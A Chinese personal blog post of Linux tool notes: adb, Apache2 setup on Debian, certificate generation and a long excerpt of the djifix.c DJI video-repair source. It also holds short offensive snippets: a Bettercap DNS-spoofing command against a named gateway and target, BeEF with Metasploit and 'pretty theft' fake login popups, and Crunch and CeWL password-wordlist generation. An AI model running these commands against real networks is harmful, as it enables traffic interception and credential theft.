Linux Applications

部分Linux应用程序使用指南

Posted by Ryan Yim on 2022-03-27
Estimated Reading Time 230 Minutes
Words 43.7k In Total
Viewed Times

部分软件安装、使用「仓库来源」 - Software

Adb

1
2
3
4
5
6
7
8
# 列出软件
pm list package -3
# 获取当前焦点窗口
dumpsys window | grep mCurrentFocus
# 启动某程序
am start -n com.taobao.taobao/com.taobao.tao.TBMainActivity
# 查找日志
logcat | grep com.jingdong.app.mall.MainFrameActivity

Apache2

Debian下的配置结构(Apache httpd 2.x)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ServerRoot              ::      /etc/apache2
DocumentRoot :: /var/www
Apache Config Files :: /etc/apache2/apache2.conf
:: /etc/apache2/ports.conf
Default VHost Config :: /etc/apache2/sites-available/default, /etc/apache2/sites-enabled/000-default
Module Locations :: /etc/apache2/mods-available, /etc/apache2/mods-enabled
ErrorLog :: /var/log/apache2/error.log
AccessLog :: /var/log/apache2/access.log
cgi-bin :: /usr/lib/cgi-bin
binaries (apachectl) :: /usr/sbin
start/stop :: /etc/init.d/apache2 (start|stop|restart|reload|force-reload|start-htcacheclean|stop-htcacheclean)

注意:
Debian / Ubuntu布局在/ usr / share / doc / apache2 / README中有完整记录。
Debian / Ubuntu使用符号链接来配置虚拟主机和加载模块。配置文件是在它们各自的站点(可用)和mods(可用)目录中创建的。要激活虚拟主机和模块,将在启用站点和启用mods的相应目录中创建符号链接,以指向可用站点和可用mods中的配置文件。Debian提供了用于处理此过程的脚本,称为“ a2ensite”和“ a2enmod”,用于激活虚拟主机和模块。
默认虚拟主机在/ etc / apache2 / sites-available / default中定义,并且覆盖服务器上下文中的DocumentRoot集。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
systemctl start apache2
a2enmod/a2diamod 【module】:实质:【在/etc/apache2/mods-enabled/建立Link文件==>/etc/apache2/mods-available/】作用:【启用某模块(不立即生效)】
配置端口:【/etc/apache2/ports.conf】
======================================================================================
# 修改下面的80端口
Listen 80

<IfModule ssl_module>
Listen 443
</IfModule>

<IfModule mod_gnutls.c>
Listen 443
</IfModule>

# 注意:修改端口记得也要修改/etc/apache2/sites-enabled/000-default.conf的端口。
======================================================================================
配置默认根目录:【/etc/apache2/sites-enabled/000-default.conf】
======================================================================================
ServerAdmin webmaster@localhost
# 添加下面是根目录位置
DocumentRoot /home/HTML
======================================================================================
配置默认根目录权限:【/etc/apache2/apache2.conf】
======================================================================================
# 下面添加根目录访问权限
<Directory /home/HTML/>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
======================================================================================
其他虚拟机:
/etc/apache2/sites-available/virtual host name.conf
a2ensite www.yahoo.com
文件位于:/srv/www.yahoo.com/www/

生成自签名的SSL证书(pem&key)
openssl req -newkey rsa:2048 -new -nodes -x509 -days 3650 -keyout server.key -out server.pem
openssl req –new –newkey rsa:2048 –nodes –keyout server.key –out server.csr

ARP Scan

1
arp-scan 192.168.1.0/24

BeEF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 将BeEF集成到metasploit框架:
/usr/share/beef-xss/config.yaml
metasploit:
enable:true
/usr/share/beef-xss/extensions/metasploit/config.yaml
编辑:host、callback_host、os 'custom'//改host就OK;不改
然后msfconsole
load msgrpc ServerHost=<IP> Pass=abc123
# 验证:
cd usr/share/beef-xss/
./b eef
显示成功加载msf
beef复位数据库:beef -x
http//:<IP>:3000/ui/panel
# beef:
social engineering/clippy:允许弹窗显示文字图片及下载
pretty theft:弹窗登录

Bettercap

1
2
3
4
5
6
7
8
apt-get install bettercap

# bettercap DNS欺骗:
配置dns文件:dns.conf
local *.google\.com
# 重定向:
192.168.1.1 .*microsoft\.com
bettercap -I eth0 -O log.txt -X --gateway 192.168.0.1 --target 192.168.0.144 --dns dns.conf

CeWL——网页关键词采集

1
2
apt install cewl
cewl www.google.com -w google.txt

Crunch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# 生成字典:
crunch 1 10 1234567890 -o ./num1-10

# 意思是crunch将生成以“yale”“test”为元素的所有密码组合
crunch 4 5 -p yale test

# 意思是生成最小为1位,最大为4位元素为所有小写字母的密码字典,前6000个密码,并预估所需时间
crunch 1 4 -o START -c 6000

# 意思是生成4位密码,其中格式为“字符+数字+字母”,这里字符范围为!@#* ,数字范围为 1 2 34 , 字母范围为a b c d
crunch 4 4 abcd + 1234 @#!* -t ^^%@

# 生成最小8位,最大8位,字符集为0123456789,以1开头的字典
crunch 8 8 +0123456789 -t 1%%%%%%% -o '/home/heroonehy/桌面/0mon/1.txt'

参数:
min 设定最小字符串长度(必选)
max 设定最大字符串长度(必选)
oprions:
-b 指定文件输出的大小,避免字典文件过大
-c 指定文件输出的行数,即包含密码的个数
-d 限制相同元素出现的次数
-e 定义停止字符,即到该字符串就停止生成
-f 调用库文件(/etc/share/crunch/charset.lst)
-i 改变输出格式,即aaa,aab -> aaa,baa
-I 通常与-t联合使用,表明该字符为实义字符
-m 通常与-p搭配
-o 将密码保存到指定文件
-p 指定元素以组合的方式进行
-q 读取密码文件,即读取pass.txt
-r 定义重某一字符串重新开始
-s 指定一个开始的字符,即从自己定义的密码xxxx开始
-t 指定密码输出的格式
-u 禁止打印百分比(必须为最后一个选项)
-z 压缩生成的字典文件,支持gzip,bzip2,lzma,7z
% 代表数字
^ 代表特殊符号
@ 代表小写字母
, 代表大写字符

Dd

1
2
# dd生成一定大小的文件(比如1G)
dd if=/dev/zero of=test_file count=1024000 bs=1024

Djifix.c——修复DJI视频错误

修复大疆设备拍摄的视频,如DJI O4 O4Pro,其他可使用untrunc

1
2
3
4
5
6
https://djifix.live555.com/

简要使用:
1.编译生成可执行文件:cc -O -o djifix djifix.c
2.修复视频:djifix 要修复的视频文件名(包含 .MP4.MOV 后缀)
3.转码成正常视频:ffmpeg -i DJI_XYZW-repaired.h264 -c copy DJI_XYZW-repaired.mp4

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
/**********
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
**********/
/*
A C program to repair corrupted video files that can sometimes be produced by
DJI quadcopters.
Version 2026-02-28

Copyright (c) 2014-2026 Live Networks, Inc. All rights reserved.

Version history:
- 2014-09-01: Initial version
- 2014-09-21: When repairing 'type 2' files, we prompt the user to specify the video format
that was used (because the SPS NAL unit - that we prepend to the repaired file -
differs for each video format).
- 2014-10-04: We now automatically generate the name of the repaired file from the name of
the original file (therefore, the user no longer specifies this on the command line).
Also, we can now handle certain (rare) files in which the
'ftyp','moov','mdat'(containing 'ftyp') sequence occurs more than once at the start.
- 2014-10-11: When performing a 'type 2' repair, we now better handle the case where we see
a 4-byte 'NAL size' of 0. This anomalous situation can happen when a large chunk of
zero bytes appears in the file. We now try to recover from this by scanning forward
until we see (what we hope to be) a 'NAL size' of 2, which would indicate
the resumption of sane data.
- 2015-01-08: Handle anomalous 0xFFFFFFFF words that can appear at the start (or interior)
of corrupted files.
- 2015-01-24: We can now repair 'type 2' files that were recorded in 1080p/60 format.
(The DJI Phantom 2 Vision+ doesn't yet record in this format, but some other cameras
can, and they can produce files that are corrupted in a similar way.)
We now also try to recover from encountering bad (far too large) NAL sizes when
repairing 'type 2' files, and unexpected garbage appearing at the beginning of files.
- 2015-03-30: We now support two ('4k') video formats used by the Inspire 1:
2160p/30 and 2160p/24, and updated the H.264 SPS data to work for 1080p/60 files
from the Inspire 1. We also support a wider range of damaged files.
- 2015-05-09: We now support an additional video format - 1080p/24 - used by the Inspire 1.
- 2015-06-16: We now support an additional video format - 1080p/50 - used by the Inspire 1.
- 2015-09-25: We now support two more video formats: 2160p/25 and 720p/25
- 2015-11-03: We now support an additional video format - 1520p/30
- 2015-11-27: Corrected(?) the SPS NAL unit prepended to each frame for the 2160p/25 format.

- 2016-04-19: We now support an additional video format - 1520p/25
- 2016-08-05: Made the checking for 0x00000002 a bit more robust: We now also check that the following bytes are sane
- 2016-08-15: We now support an additional video format - 720p/48
- 2016-12-08: We now support an additional video format - 1520p/24
- 2017-02-10: We now support new-style movie files (e.g., produced by the Phantom 4 Pro)
- 2017-02-11: We now support an additional video format - 2160(x4096)p/30 (for new-style)
- 2017-03-13: We now use the term "4K" to refer only to 2160x4096 video.
We now support an additional video format - 1530p/24
- 2017-03-20: We now support an additional video format - 1530p/30
- 2017-04-02: We now allow 'mdat' atoms to have a (broken) atom size that's <8, because
when we're checking for 'mdat' atoms, we don't use the atom size anyway.
- 2017-04-08: We now support an additional video format - H.265 1080p/120
- 2017-04-17: We now support an additional video format - H.265 1080p/25
- 2017-04-24: We now support an additional video format - H.264 480p, from the XL FLIR camera
- 2017-05-15: We now support an additional video format - H.264 2160(x3840)p/48
- 2017-05-18: We now support an additional video format - H.264 2160(x4096)p/60
- 2017-05-21: Improved the skipping over anomalous non-video data (e.g., in an Osmo file)
- 2017-05-29: We now support an additional video format - H.264 2160(x3840)p/50
- 2017-06-06: We now do a better job of searching for video data within a file. In particular,
we now detect H.264 SPS NAL units in addition to 2-byte NAL units.
- 2017-06-14: We now support an additional video format - H.264 2160(x3840)p24 (type 2)
- 2017-06-20: For clarity, added an output message when we start to repair 'type 4' files.
- 2017-06-27: We now support an additional video format - H.264 1080p/120 (type 3)
- 2017-06-28: Made the check for embedded H.264 SPS NAL units a bit more strict
- 2017-06-29: Fixed a bug in 'type 4' file repair.
- 2017-07-05: Loosened the check for embedded H.264 SPS NAL units to allow for Spark videos
(that have a shorter SPS length).
- 2017-07-19: We now support 4 new video formats (used in the Mavic Pro):
1530p/25, 1080p/48, 720p/50, 720p/24
- 2017-08-01: We now support an additional video format - H.264 1530p/30 (type 3)
- 2017-08-25: We now support two new formats - 2160(x4096)p24 and 1080p24 (type 3)
- 2017-08-29: The previous version's new format should have been 2160(x4096)p48, not p24
- 2017-09-29: We now support an additional video format - H.264 2160(x3840)p60 (type 3)
- 2017-10-10: We now support an additional video format - H.264 1530p/30 (type 3)
- 2017-10-22: We now support an additional video format - H.264 1080p/25 (type 3)
- 2017-11-04: We now support an additional video format - H.265 2160(x3840)p25 (type 3)
- 2018-01-24: We now support an additional video format - H.264 2160(x4096)p25 (type 2)
- 2018-01-27: Zenmuse apparently uses a different SPS/PPS for its (type 2) 1080p30 videos than
the Phantom did, so we added a new format for this.
- 2018-02-21: We now support an additional video format - H.264 1080p/30 (type 3)
- 2018-03-31: We can now repair more kinds of 'type 4' file (apparently from the Mavic Air)
- 2018-04-22: We now support an additional video format - H.264 1520p/60 (type 2)
- 2018-05-03: We now support an additional video format - H.264 2160(x4096)p25 (type 3)
- 2018-07-11: We now support an additional video format - H.264 1080p60 (type 3)
- 2018-08-01: If the size of the initial 'ftyp' atom is bad, just ignore it, rather than failing
- 2018-08-17: We now support an additional video format - H.264 2160(x3840)p25 (type 3)
- 2018-09-03: We can now repair at least some 'type 4' H.265 (HEVC) video files
- 2019-01-14: We now support an additional video format - H.264 1530p/48 (type 3)
- 2019-02-25: We now support an additional video format - H.264 2160(x4096)p50 (type 3)
- 2019-06-09: The Osmo+ apparently uses a different SPS/PPS for its (type 3) 720p60 videos than
the Phantom did, so we added a new format for this.
- 2019-08-20: We now support an additional video format - H.264 2160(x3840)p24 (type 3)
- 2019-11-07: We now support an additional video format - H.264 720p (type 3)
- 2019-11-19: The Mavic Mini changed the type 3 video format somewhat by adding a metadata track.
We now skip over blocks from this track (though print out the first block).
The H.264 1530p30 SPS and PPS values have been updated to conform to those now
used by the Mavic Mini.
- 2019-12-28: Added support for the new SPS and PPS values used for 1080p30 by the Mavic Mini.
- 2019-12-29: We now support an additional video format - H.264 1530p/25 (type 3)(Mavic Mini)
We also allow for variable-sized 'metadata' blocks in Mavic Mini videos.
- 2020-01-07: We now support an additional video format - H.265 1080p60 (type 3)
- 2020-01-08: Added support for the new SPS and PPS values used for 1080p60 by the Mavic Mini.
- 2020-02-13: We now support an additional video format - H.264 1080p/50 (type 3)(Mavic Mini)
- 2020-03-23: We now support an additional video format - H.264 1080p/25 (type 3)(Mavic Mini)
- 2020-03-23a: We now support an additional video format - H.265 2160(x3840)p30 (type 3)
- 2020-03-25: We now detect (and print the first occurrence of) an additional type of
metadata block.
- 2020-04-14: The SPS for H.264 1530p/30 (type 3)(Mavic Mini) appears to have changed slightly.
- 2020-05-05: We now support two additional video formats - H.264 1530p/24 (type 3)(Mavic Mini),
and H.264 1080p/24 (type 3)(Mavic Mini)
- 2020-07-12: We now support an additional video format - H.265 1530p50 (type 3)
- 2021-01-01: We now support an additional video format - H.265 2160(x3840)p30 (type 3)(DJI Mini 2)
- 2021-01-24: We now support an additional video format - H.264 1520p60 (type 3)(DJI Mini 2)
- 2021-06-21: Improved the checking for video in 'type 4' repairs, to (at least partially)
repair some Mavic FPV videos.
- 2021-07-02: We now support videos from "DJI Mini 2" drones. These are similar to
'type 3' videos, but lack a JPEG prefix. We designate them as 'type 5'
videos, and allow the user to select only known "DJI Mini 2" formats.
We can now handle extended atom sizes for 'mdat' atoms (because we don't
use the size of 'mdat' atoms)
- 2021-07-04: We support two more video formats - 3840x2160p24 and 1920x1080p48 -
for both 'type 5' (as in the previous version) and 'type 3' (i.e., with
JPEG previews).
To keep the number of (type 3) choices under control, we remove support
for H.265 120fps and H.264 120 fps. If, however, someone needs these,
then let us know and we'll re-add them.
- 2021-11-08: We now support an additional video format - H.264 720p24 (type 5)
- 2021-12-02: We now handle 'isom' in addition to 'ftyp' at/near the start of the file.
- 2022-01-13: We now handle a more general metadata block format (seen in the Mavic Mini SE)
- 2022-03-28: Made the parsing/skipping of metadata blocks more robust. Sometimes, the
'tail end' of the metadata blocks is non-printable-ASCII, which means that it
really doesn't exist.
- 2022-04-17: Replaced the SPS data for (type 3) H.264 1530p, 48 fps so that it conforms
to video produced by newer DJI drones.
- 2022-07-04: Fixed a bug in the allocation of the name for the output filename.
- 2022-08-16: Improved the checking for video in 'type 4' repairs
- 2022-09-05: Added a new format for 'type 5': H.264 1080p30 (Mavic Air)
- 2023-01-14: Added a new format for 'type 5': H.264 1080p25 (Mavic Air)
- 2023-04-19: Updated the format for 1080p30 'type 2' for (presumably) more modern devices
- 2023-05-05: We can now identify and skip over some more types of Osmo audio data.
Added a new format for 'type 5': H.264 2160(x3840)p25.
- 2023-06-03: We now support a new 'type 5' format for the DJI 03 Air: H.265 2016p60.
- 2023-06-20: We now support a new 'type 5' format for the DJI 03 Air: H.265 2160p60.
- 2023-11-24: Updated the 'type3or5Common' parsing to handle metadata tracks for DJI Air 3
- 2024-01-22: We now support a new 'type 5' format: H.265 2160p30
- 2024-02-29: We now support a new 'type 5' format: H.265 2160p100
- 2024-05-04: We now support a new 'type 5' format: H.264 720p30
- 2024-05-23: Added new special cases for 'type3or5Common' parsing
- 2024-06-30: We now support a new 'type 5' format: H.265 1080p50
Added new special cases for 'type3or5Common' parsing
- 2024-07-06: (internal release only) Updated support for H.265 1080p50
- 2024-07-09: Converted 'djifix' URLs in diagnostic output from "http://" to "https://".
We now support a new 'type 5' format: H.264 1520p60
Added new special cases for 'type3or5Common' parsing
- 2024-07-20: (internal release only) Additional tests for skipping 'track 2' audio data
- 2024-09-04: Updated support for H.265 2016p60 (for the DJI O3 Air).
(Thanks to Stacey Abshire for providing example files to test this.)
- 2024-09-06: Updated the H.265 SPS, PPS, and VPS NAL units for 2160x3840p30 (type 5)
- 2024-10-28: We now support a new 'type 5' format: H.265 2160p50
- 2024-11-19: We now support a new 'type 5' format: H.265 2880p60
- 2025-01-16: We now support new 'type 5' formats: H.265 3078p24 and H.265 2160p24
- 2025-01-17: Improvements to the 'type 5' code for H.265 2160p30
- 2025-04-03: We now support a new 'type 5' format: H.265 1080p60
- 2025-04-05: We now support a new 'type 5' format: H.265 2160(x3840)p25
- 2025-04-10: We now support a new 'type 5' format: H.264 1080p60
- 2025-07-03: We now support a new 'type 5' format: H.265 2016p100
- 2025-07-04: Fixed support for 2160(x3840)p25
- 2025-07-08: We now support a new 'type 5' format: H.264 2160(x3840)p60
- 2025-07-27: Updated the PPS for H.265 2880p60
- 2025-09-07: Updated the PPS and SPS for H.265 1080p60
- 2025-09-08: We now support a new 'type 5' format: H.264 2016p60
- 2025-10-09: Updated the PPS for H.265 1080p60
- 2025-10-17: It turns out that the DJI O4 Pro FPV uses two different possible PPSs
for H.265 2880p60, so we support both.
- 2025-10-25: Updated the PPS, SPS, and VPS for H.265 (3840x)2160p60
- 2025-12-15: Updated the PPS, SPS, and VPS for H.265 (3840x)2160p50
- 2026-01-18: We now support a new 'type 5' format: H.265 2160(x3840)p(UHD-1), 120fps
- 2026-02-01: It seems that two different PPS,SPS,VPS variants are used for
H.265 (3840x)2160p60, so we now support both
- 2026-02-26: We now support a new 'type 5' format: H.265 1080p25
- 2026-02-28: Updated the SPS for H.265 1080p60 (type 5)
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static void usage(char const* progName) {
fprintf(stderr, "Usage: %s name-of-video-file-to-repair\n", progName);
}

static int checkFor0x00000002(unsigned first4Bytes, unsigned next4Bytes) {
/* We check not just that "first4Bytes" is 0x00000002, but also that "next4Bytes" starts
with two non-zero bytes, and then a zero byte: */
return first4Bytes == 0x00000002
&& (next4Bytes&0xFF000000) != 0
&& (next4Bytes&0x00FF0000) != 0
&& (next4Bytes&0x0000FF00) == 0;
}

static int checkForVideo(unsigned first4Bytes, unsigned next4Bytes) {
/* An expanded version of "checkFor0x00000002()", where we also check for what appears to
be an initial SPS NAL unit (preceded by length) */
if ((first4Bytes&0xFFFFFF00) != 0) return 0;

return (first4Bytes == 0x00000002
&& (next4Bytes&0xFF000000) != 0
&& (next4Bytes&0x00FF0000) != 0
&& (next4Bytes&0x0000FF00) == 0)
|| ((next4Bytes&0xFF000000) == 0x27000000
&& first4Bytes > 25 && first4Bytes < 60)
|| ((next4Bytes&0xFF000000) == 0x40000000
&& first4Bytes > 30 && first4Bytes < 60)
|| ((next4Bytes&0xFF000000) == 0x67000000
&& first4Bytes > 10 && first4Bytes < 40);
}

static int checkForVideoType4(unsigned first4Bytes, unsigned next4Bytes) {
/* A special version of "checkForVideo()" that works well for 'type 4' repairs: */
unsigned char nextByte, nextNextByte;

if (first4Bytes == 0 || first4Bytes > 0x008FFFFF) return 0; /* nalSize would be bad */

nextByte = next4Bytes>>24;
nextNextByte = next4Bytes>>16;
switch (nextByte) {
case 0x00: return nextNextByte == 0x01;
// case 0x01: return (nextNextByte >= 0x1e && nextNextByte < 0x40) || nextNextByte >= 0xF0;
case 0x01: return nextNextByte == 0xFD;
case 0x02: return nextNextByte == 0x01;
case 0x26: return nextNextByte == 0x01;
case 0x28: return nextNextByte == 0x01;
case 0x40: return nextNextByte == 0x01;
case 0x41: return (nextNextByte >= 0xE0 && nextNextByte <= 0xFC);
case 0x42: return nextNextByte == 0x01;
case 0x44: return nextNextByte == 0x01;
// case 0x61: return nextNextByte >= 0xE0;
// case 0x65: return nextNextByte >= 0xB0;
case 0x65: return nextNextByte == 0xB8;
// case 0x67: return nextNextByte >= 0x60; // SPS needs to be correct, so ignore this
// case 0x68: return nextNextByte >= 0xE0; // PPS needs to be correct, so ignore this
// case 0x6D: return nextNextByte >= 0x60;
default: return 0;
}
}

#define fourcc_free (('f'<<24)|('r'<<16)|('e'<<8)|'e')
#define fourcc_ftyp (('f'<<24)|('t'<<16)|('y'<<8)|'p')
#define fourcc_isom (('i'<<24)|('s'<<16)|('o'<<8)|'m')
#define fourcc_mdat (('m'<<24)|('d'<<16)|('a'<<8)|'t')
#define fourcc_mijd (('m'<<24)|('i'<<16)|('j'<<8)|'d')
#define fourcc_moov (('m'<<24)|('o'<<16)|('o'<<8)|'v')
#define fourcc_wide (('w'<<24)|('i'<<16)|('d'<<8)|'e')

static int get1Byte(FILE* fid, unsigned char* result); /* forward */
static int get2Bytes(FILE* fid, unsigned* result); /* forward */
static int get4Bytes(FILE* fid, unsigned* result); /* forward */
static int checkAtom(FILE* fid, unsigned fourccToCheck, unsigned* numRemainingBytesToSkip); /* forward */
static void doRepairType1(FILE* inputFID, FILE* outputFID, unsigned ftypSize); /* forward */
static void doRepairType2(FILE* inputFID, FILE* outputFID, unsigned second4Bytes); /* forward */
static void doRepairType3(FILE* inputFID, FILE* outputFID); /* forward */
static void doRepairType4(FILE* inputFID, FILE* outputFID); /* forward */
static void doRepairType5(FILE* inputFID, FILE* outputFID); /* forward */
static void doRepairType3or5Common(FILE* inputFID, FILE* outputFID); /* forward */

static char const* versionStr = "2026-02-26";
static char const* repairedFilenameStr = "-repaired";
static char const* startingToRepair = "Repairing the file (please wait)...";
static char const* cantRepair = " We cannot repair this file!";

#ifdef CODE_COUNT
unsigned codeCount[65536];
#endif
int main(int argc, char** argv) {
char* inputFileName;
char* outputFileName;
FILE* inputFID;
FILE* outputFID;
unsigned numBytesToSkip, dummy;
int repairType = 1; /* by default */
unsigned repairType1FtypSize; /* used only for 'repair type 1' files */
unsigned repairType2Second4Bytes; /* used only for 'repair type 2' files */

do {
fprintf(stderr, "%s, version %s; Copyright (c) 2014-2026 Live Networks, Inc. All rights reserved.\n", argv[0], versionStr);
fprintf(stderr, "The latest version of this software is available at https://djifix.live555.com/\n\n");

if (argc != 2) {
usage(argv[0]);
break;
}
inputFileName = argv[1];

/* Open the input file: */
inputFID = fopen(inputFileName, "rb");
if (inputFID == NULL) {
perror("Failed to open file to repair");
break;
}

/* Check the first 8 bytes of the file, to see whether the file starts with a 'ftyp' atom
(repair type 1), or H.264/H.265 NAL units (repair type 2 or 3): */
{
unsigned first4Bytes, next4Bytes;
int fileStartIsOK;
int amAtStartOfFile = 1;

if (!get4Bytes(inputFID, &first4Bytes) || !get4Bytes(inputFID, &next4Bytes)) {
fprintf(stderr, "Unable to read the start of the file.%s\n", cantRepair);
break;
}

fileStartIsOK = 1;
while (1) {
if (next4Bytes == fourcc_ftyp || next4Bytes == fourcc_isom) {
/* Repair type 1 */
if (first4Bytes < 8 || first4Bytes > 0x000000FF) {
fprintf(stderr, "Ignoring bad length 0x%08x for initial 'ftyp' or 'isom' atom\n", first4Bytes);
